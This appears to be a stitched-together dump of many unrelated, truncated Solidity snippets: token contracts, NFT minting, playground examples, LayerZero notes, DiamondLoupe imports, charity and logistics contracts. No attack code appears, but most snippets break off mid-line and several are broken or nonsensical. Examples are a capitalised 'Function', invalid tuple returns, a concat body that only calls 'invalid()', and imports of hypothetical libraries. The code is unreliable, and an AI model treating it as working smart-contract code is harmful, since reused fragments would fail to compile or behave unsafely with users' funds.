    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";

contract Martians is  ERC721Enumerable, Ownable, EIP712 {
    using Counters for Counters.Counter;
    using Strings for uint256;

    Counters.Counter private _tokenIdCounter;
    uint256 maxSupply = 1000;
    bool public publicMintOpen = false;
    bool public allowListMintOpen = true;
    string private _contractBaseURI;
    bytes32 private _secret;

    uint256[] private _availableTokenIds;
    uint256 private _index;

    constructor() ERC721("Monero Martians", "FEFMLMKU1984") EIP712("monero_martians", "1") {
        _contractBaseURI = "ipfs://bafybeifzbz5znq4m3qhgxcjchoz4jwho56at3xin5vq3ndbjc2sybpjhue";
        _secret = keccak256(abi.encodePacked(bl

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;

contract Playground {

  function compare(string _s1, string _s2) 
            pure
            public
            returns(bool) {
              bytes memory b1 = bytes(_s1);
              bytes memory b2 = bytes(_s2);
              if (b1.length != b2.length) {
                return false;
              }
              return keccak256(b1) == keccak256(b2);
  }

  function concat(string _s1, string _s2) 
            pure 
            public 
            returns(string) {
              assembly {
                    invalid()
                }
  }

  function strLen(string _str) 
            pure 
            public 
            returns(uint) {
    
    bytes memory b = bytes(_str);
    return (b.length);

  }

  function strReplace(string _from, string _what, string _to)
            pure
            public
            returns(string) {
              bytes memory bfrom = bytes(_from);
            

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

interface IUniswapV2Router {
    function WETH() external pure returns (address);
    function swapExactTokensForETH(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
    function swapExactETHForTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable returns (uint256[] memory amounts);
}

contract WXDAIWrapper {
    string public name = "Wrapped xDAI";
    string public symbol = "WXDAI";
    uint8 public decimals = 18;
    uint256 public totalSupply = 100000 * 10**decimals; // 100,000 WXDAI, pegged to DAI
    mapping(address => uint256) public balances;
    mapping(address => mapping(address => uint256)) public allowances;
    address public uniswapRouterAddress;
    IUniswapV2Router private uniswapRouter;

    constructor(address _uniswapRouterAddress) {
        uniswapRouterAddress = _uniswapRouterAddress;
        unis

// SPDX-License-Identifier: MIT
pragma solidity >0.7.0 <=0.9.0;

import "contracts/Producto.sol";

contract RegistroProductos{   
      
    address private immutable usuario; 
    mapping(address => mapping(string => Producto)) private producto; 
    
    event ProductoAgregado(string codigo, string nombre, uint stock);
    event ProductoActualizado(string codigo, uint nuevoStock);
    event ProductoEliminado(string codigo);
    
    modifier soloPropietario() {
        require(msg.sender == usuario, "Solo el propietario tiene Acceso");
        _;
    }

    modifier existeCodigo(string memory _codigo) {
        string memory codigoInterno = producto[usuario][_codigo].codigo;
        require(keccak256(abi.encodePacked(codigoInterno)) == keccak256(abi.encodePacked(_codigo)), "Codigo Inexistente");
        _;
    }
   
    constructor(){
        usuario = msg.sender;
    }
  
    function agregarProducto(string memory _codigo, string memory _nombre, uint _stock) public soloPropietario() {
        producto[usua

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/token/oft/v2/BaseOFTV2.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

/*
    Chain Information:
    LayerZero Optimism Goerli
        chainId: 10132
        endpoint: 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1
    LayerZero Goerli
        chainId: 10121
        endpoint: 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23

        [     
            {         
                "refundAddress": "0x9Eb404FA6a9ad4bF45f20be8f07a16C491629486",         
                "zroPaymentAddress": "0x0",
                "adapterParams": ""0x0002000000000000000000000000000000000000000000000000000000000003d0900000000000000000000000000000000000000000000000000000000000000000c5e31322429453e6d196c34fb16b88edc2a58082 
            } 
        ]

        {0x9Eb404FA6a9ad4bF45f20be8f07a16C491629486,0x0,0x0002000000000000000000000000000000000000000000000000000000000003d09000000000000

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/token/oft/v2/BaseOFTV2.sol";
/*
    Chain Information:
    LayerZero Optimism Goerli
        chainId: 10132
        endpoint: 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1
    LayerZero Goerli
        chainId: 10121
        endpoint: 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23
*/

/* Example Tuple 1: Error https://goerli.etherscan.io/tx/0x92047bdd908d6241ef65fd21164855267e30a11460fa6cb0d8f485810d6a7931

Tuple Format

["srcRefundAddress", "ZROGasAddress", "_adaptParams bytes array"]

["0x9Eb404FA6a9ad4bF45f20be8f07a16C491629486","0x0000000000000000000000000000000000000000","0x00010000000000000000000000000000000000000000000000000000000000030d40"]

["0x9Eb404FA6a9ad4bF45f20be8f07a16C491629486","0x0000000000000000000000000000000000000000","0x00010000000000000000000000000000000000000000000000000000000000030d40"]

["0x9Eb404FA6a

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.

pragma solidity ^0.4.18;

contract BoardMemberContract {
    struct BoardMember {
        address memberAddress;   // Address of the board member
        string name;             // Name of the board member
        uint256 joiningDate;     // Timestamp of when the member joined
    }

    BoardMember[] public boardMembers;
    mapping(address => bool) public isBoardMember;

    event BoardMemberAdded(address indexed memberAddress, string name, uint256 joiningDate);
    event BoardMemberRemoved(address indexed memberAddress);

    function addBoardMember(address _memberAddress, string _name) public {
        require(!isBoardMember[_memberAddress]);
        require(bytes(_name).length > 0);

        BoardMember memory newMember = BoardMember({
            memberAddress: _memberAddress,
            name: _name,
            joiningDate: block.timestamp
        });

        boardMembers.push(newMember);
        isBoardMember[_

pragma solidity ^0.4.18;

contract LogisticsContract {
    struct Shipment {
        uint shipmentId;        // Unique ID for the shipment
        address sender;         // Address of the sender
        address receiver;       // Address of the receiver
        bytes32 certificate;    // Certificate related to the shipment
        uint timestamp;         // Timestamp of the shipment creation
        mapping(string => address) entities; // Mapping to store the addresses of different entities involved
    }

    Shipment[] public shipments;

    mapping(uint => bool) public shipmentExists;
    mapping(uint => bool) public shipmentReceived;

    event ShipmentCreated(uint shipmentId, address sender, address receiver, bytes32 certificate, uint timestamp);
    event ShipmentReceived(uint shipmentId, address receiver, uint timestamp);
    event EntityInvolved(uint shipmentId, string role, address entityAddress);

    function createShipment(uint shipmentId, address receiver, bytes32 certificate) public {
        r

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.


pragma solidity ^0.4.18;

contract FreelancerContract {
    // Structure to represent a task
    struct Task {
        address client;     // Address of the client who created the task
        uint value;         // Amount of ether set for the task
        bool completed;     // Flag to indicate if the task is completed
        bool paid;          // Flag to indicate if the task is paid
    }

    // Array to store all the tasks
    Task[] public tasks;

    // Events to emit when tasks are created, completed, and paid
    event TaskCreated(uint indexed taskId, address indexed client, uint value);
    event TaskCompleted(uint indexed taskId);
    event TaskPaid(uint indexed taskId);

    // Function to create a new task
    function createTask() public payable {
        require(msg.value > 0);
        Task memory newTask = Task({
            client: msg.sender,
            value: msg.value,
            completed: false,

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.

Function encode(string memory key, string memory plaintext) public pure returns (string memory) {
    uint keyLength = bytes(key).length;
    uint plainLength = bytes(plaintext).length;
    uint numCols = (plainLength + keyLength - 1) / keyLength;
    
    uint[] memory order = new uint[](keyLength);
    for (uint i = 0; i < keyLength; i++) {
        order[i] = i;
    }
    
    string memory ciphertext = "";
    
    for (uint num = 0; num < numCols; num++) {
        for (uint i = 0; i < keyLength; i++) {
            if (num * keyLength + order[i] < plainLength) {
                ciphertext = string(abi.encodePacked(ciphertext, bytes(plaintext)[num * keyLength + order[i]]));
            }
        }
    }
    
    return ciphertext;
}

// Example usage
encode("KEY", "HELLO")

/**
 *Submitted for verification at Etherscan.io on 2023-07-22
*/

/**

https://t.me/MagicMiladyMoney

https://magicmiladymoney.wtf/

https://twitter.com/MagicMilady

**/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, addre

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

/*
Здесь все вопросы
*

// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.20;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contract

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.8.0;

contract HelloWorld {
    string public message;

    constructor() {
        message = "Hello World!";
    }

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

import {console} from "forge-std/Test.sol";
import {TestHelper, IERC20, Call, Balances} from "test/TestHelper.sol";
import {AddLiquidityAction, RemoveLiquidityAction, LiquidityHelper} from "test/LiquidityHelper.sol";
import {Aquifer} from "src/Aquifer.sol";
import {SwapHelper, SwapAction, Snapshot} from "test/SwapHelper.sol";

contract WellAddLiquidityTest is LiquidityHelper {

    function _setupWellWithoutAddingLiquidity(Call memory _wellFunction, Call[] memory _pumps, IERC20[] memory _tokens) internal {
        tokens = _tokens;
        wellFunction = _wellFunction;
        for (uint256 i; i < _pumps.length; i++) {
            pumps.push(_pumps[i]);
        }

        initUser();

        wellImplementation = deployWellImplementation();
        aquifer = new Aquifer();
        well = encodeAndBoreWell(address(aquifer), wellImplementation, tokens, _wellFunction, _pumps, bytes32(0));

        // Mint mock tokens to user
        mintTokens(user, initia

// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.18;

import {IERC777Recipient} from "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import {IERC165} from "../../interfaces/ERC/IERC165.sol";
import {IERC1271} from "../../interfaces/ERC/IERC1271.sol";
import {IERC677Receiver} from "../../interfaces/ERC/IERC677Receiver.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {LibDiamond} from "../../libraries/LibDiamond.sol";
import {LibLoupe} from "../../libraries/LibLoupe.sol";
import {IDiamondCut} from "../../facets/base/interfaces/IDiamondCut.sol";
import {IStorageLoupe} from "./interfaces/IStorageLoupe.sol";
import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol";

/**
 * @title DiamondLoupe Facet
 * @dev DiamondLoupe contract compatible with EIP-2535
 * @author David Yongjun Kim (@Powerstream3604)
 */
contract DiamondLoupeFacet is IDiamondLo

// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.18;

import {IERC777Recipient} from "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import {IERC165} from "../../interfaces/ERC/IERC165.sol";
import {IERC1271} from "../../interfaces/ERC/IERC1271.sol";
import {IERC677Receiver} from "../../interfaces/ERC/IERC677Receiver.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {LibDiamond} from "../../libraries/LibDiamond.sol";
import {LibLoupe} from "../../libraries/LibLoupe.sol";
import {IDiamondCut} from "../../facets/base/interfaces/IDiamondCut.sol";
import {IStorageLoupe} from "./interfaces/IStorageLoupe.sol";
import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol";

/**
 * @title DiamondLoupe Facet
 * @dev DiamondLoupe contract compatible with EIP-2535
 * @author David Yongjun Kim (@Powerstream3604)
 */
contract DiamondLoupeFacet is IDiamondLo

contract ArrayMapping {
    address[] public keys;
    bytes4[] public values;

    function setValue(address[] key, bytes4[] value) public {
        //This will set the whole arrays
        // Array in the format
        // key[i] = value[j,j+1.....m]
    }

     function getValues(address key) public view returns (address[]) {
        uint256 index = findIndex(key);
        require(index < keys.length, "Key does not exist");
        uint256 start_index, end_index = findValueIndex(index);
        require(start_index< end_index, "Values does not exist");
        return values[start_index:end_index];
    }

    function findValueIndex(uint256 vi) internal view returns (uint256, uint256) {
        for (uint256 i=0; i <values.length; i++) {
            uint256 start_index = 0;
            uint256 end_index = 0
            if (values[i].length == 0) {
                index++;
                if (start_index !=0) {
                    end_index = i-1;
                    return start_index, end_index;
            

contract ArrayMapping {
    bytes4[] public keys;
    address[] public values;

    function setValue(bytes4 key, address value) public {
        uint256 index = findIndex(key);

        if (index < keys.length) {
            values[index] = value;
        } else {
            keys.push(key);
            values.push(value);
        }
    }

    function getValue(bytes4 key) public view returns (address) {
        uint256 index = findIndex(key);
        require(index < keys.length, "Key does not exist");

        return values[index];
    }

    function findIndex(bytes4 key) internal view returns (uint256) {
        for (uint256 i = 0; i < keys.length; i++) {
            if (keys[i] == key) {
                return i;
            }
        }
        return keys.length;
    }

// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.18;

import {IERC777Recipient} from "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import {IERC165} from "../../interfaces/ERC/IERC165.sol";
import {IERC1271} from "../../interfaces/ERC/IERC1271.sol";
import {IERC677Receiver} from "../../interfaces/ERC/IERC677Receiver.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {LibDiamond} from "../../libraries/LibDiamond.sol";
import {LibLoupe} from "../../libraries/LibLoupe.sol";
import {IDiamondCut} from "../../facets/base/interfaces/IDiamondCut.sol";
import {IStorageLoupe} from "./interfaces/IStorageLoupe.sol";
import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol";

/**
 * @title DiamondLoupe Facet
 * @dev DiamondLoupe contract compatible with EIP-2535
 * @author David Yongjun Kim (@Powerstream3604)
 */
contract DiamondLoupeFacet is IDiamondLo

// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.18;

import {IERC777Recipient} from "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import {IERC165} from "../../interfaces/ERC/IERC165.sol";
import {IERC1271} from "../../interfaces/ERC/IERC1271.sol";
import {IERC677Receiver} from "../../interfaces/ERC/IERC677Receiver.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {LibDiamond} from "../../libraries/LibDiamond.sol";
import {LibLoupe} from "../../libraries/LibLoupe.sol";
import {IDiamondCut} from "../../facets/base/interfaces/IDiamondCut.sol";
import {IStorageLoupe} from "./interfaces/IStorageLoupe.sol";
import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol";

/**
 * @title DiamondLoupe Facet
 * @dev DiamondLoupe contract compatible with EIP-2535
 * @author David Yongjun Kim (@Powerstream3604)
 */
contract DiamondLoupeFacet is IDiamondLo

pragma solidity ^0.7.1;

contract A {
  uint8 a;
}

contract B {
  uint256[50] a;

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.17;

// import "./TCStoken.sol";

contract TransparentCharity {
    // TCStoken public token;
    // address public tokenContractAddress;

    struct Donor {
        string name;
        uint256 balance;
        address payable Address;
        mapping(uint256 => uint256) donations; // project ID => donation amount
        uint256[] transactionHistory;
    }

    struct CharityProject {
        address payable beneficiary;
        string name;
        string title;
        string desc;
        string image;
        uint256 goalAmount;
        uint256 currentAmount;
        //uint256 deadline;
        bool isActive;
        address[] donators;
        uint256[] donations;
    }

    struct Beneficiary {
        string name;
        string rescueInformation;
        // string[] documents;
        address payable Address;
        uint256 balance;
        // mapping(uint256 => uint256) etherUsage; // project ID => token usage
        uint256[] transactionH

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.4 <0.9.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.1/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.1/contracts/token/ERC20/utils/SafeERC20.sol";

interface ITaxDistributor {
    function distributeTax() external;
}

contract SongbirdToken is ERC20 {
    using SafeERC20 for IERC20;

    event Trade(
        address user,
        address pair,
        uint256 amount,
        uint256 side,
        uint256 circulatingSupply,
        uint256 timestamp
    );

    address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
    uint256 public cooldown = 3600;

    ITaxDistributor public taxDistributor;
    bool public inSwap;
    uint256 public launchedAt;

    address public swapVault;
    address private deployer;
    mapping(address => bool) public isFeeExempt;
    mapping(address => uint256) public lastSellAt;

    constructor(
        string memory _n

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "bls12377.sol"; // Hypothetical library for BLS12-377
import "kzg.sol";       // Hypothetical library for KZG Commitments
import "plonk.sol";     // Hypothetical library for PLONK

contract ShieldContract {
    // Trusted setup parameters for KZG Commitments
    KZG.SetupParameters kzgSetup;
    // Trusted setup parameters for PLONK
    PLONK.SetupParameters plonkSetup;

    constructor(KZG.SetupParameters memory _kzgSetup, PLONK.SetupParameters memory _plonkSetup) {
        kzgSetup = _kzgSetup;
        plonkSetup = _plonkSetup;
    }

    // This function allows a user to submit a proof without revealing their transaction details.
    function submitProof(
        KZG.Commitment memory commitment,
        PLONK.Proof memory proof,
        uint256 publicInput
    )
        public
    {
        // Verify the commitment using KZG
        require(KZG.verify(kzgSetup, commitment), "KZG Commitment verification failed");

        // Verify the zero kn

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract wasif {
  //uint256 public age;
  //string public name;
  function savee_person(string memory _name, uint256 _age )
  {
    classx.push(Student({age: _age, name:_name}));
    
  }
  struct Student {
    uint256 age;
    string name;
  }

  Student[] public classx;

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.4 <0.9.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.1/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.1/contracts/token/ERC20/utils/SafeERC20.sol";

interface ITaxDistributor {
    function distributeTax() external;
}

contract SongbirdToken is ERC20 {
    using SafeERC20 for IERC20;

    event Trade(
        address user,
        address pair,
        uint256 amount,
        uint256 side,
        uint256 circulatingSupply,
        uint256 timestamp
    );

    address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
    uint256 public cooldown = 3600;

    ITaxDistributor public taxDistributor;
    bool public inSwap;
    uint256 public launchedAt;

    address public swapVault;
    address private deployer;
    mapping(address => bool) public isFeeExempt;
    mapping(address => uint256) public lastSellAt;

    constructor(
        string memory _n

/**
 *Submitted for verification at Etherscan.io on 2023-05-29
*/

/** 
 *  SourceUnit: g:\valleySound\Hechooo\jeton_transfer\contracts\BulkTransfer\jetonTransferTool.sol
*/
            
////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external vi